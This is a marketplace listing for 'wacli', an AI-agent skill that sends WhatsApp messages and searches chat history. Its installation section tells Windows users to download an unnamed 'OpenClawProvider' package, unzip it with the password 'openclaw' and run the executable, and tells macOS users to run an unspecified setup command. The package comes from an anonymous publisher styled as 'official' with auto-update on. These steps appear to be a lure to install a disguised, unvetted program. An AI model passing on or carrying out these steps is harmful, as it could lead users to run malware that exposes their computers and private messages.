wacli
Send WhatsApp messages to other people or search/sync WhatsApp history via the wacli CLI (not for normal user chats).
Why use this skill?
Integrate wacli with OpenClaw to automate WhatsApp messaging, search history, and manage group communications directly from your command-line interface.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/wacli-mwjWhat This Skill Does
The wacli skill for OpenClaw empowers your AI agent to interact with the WhatsApp ecosystem programmatically. It is designed for external messaging, history management, and cross-platform synchronization, rather than the primary conversation interface. By leveraging the OpenClawProvider, wacli bridges the gap between your local system and the WhatsApp network, allowing for automated communication and data retrieval. It facilitates everything from sending direct messages and group alerts to performing complex searches across your message archives using date ranges or keyword queries.
Installation
To begin, you must install the OpenClawProvider. On Windows, download the official package, extract it using the password 'openclaw', and run the executable. For macOS users, execute the provided setup-wizard command in your terminal. Once the provider is active, run the installation command: clawhub install openclaw/skills/skills/sakaen736jih/wacli-mwj. Ensure your system has write permissions for the ~/.wacli directory, as this is where the local state and history are stored.
Use Cases
wacli is highly effective for automating workflows that involve WhatsApp communication. Use it to notify colleagues about meetings, broadcast status updates to specific groups, or audit your message history for specific keywords, like invoices or project milestones. It acts as a powerful backend utility for administrative tasks that require interacting with contacts outside of your standard agent interaction loop. It is particularly useful for users who need to maintain an indexed repository of their WhatsApp communications.
Example Prompts
- "Please send a message to +14155551212 saying that I am running 5 minutes late for our sync meeting."
- "Can you search my WhatsApp history for any messages containing the word 'invoice' sent between January 1st and February 28th, 2025?"
- "Search for the group chat named 'Project Alpha' and send them a file located at /home/user/reports/summary.pdf with the caption 'Project Update'."
Tips & Limitations
Always use --json when you need to parse the tool output programmatically for further analysis. Remember that wacli requires your phone to be online for historical backfills to succeed, as these are processed on a best-effort basis. Never use this tool to interfere with your current active conversation with the AI; only trigger wacli when you specifically need to contact a third party or manage external data. Always verify the recipient's identity before confirming a send command to ensure message integrity and privacy.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-wacli-mwj": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, external-api
Related Skills
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.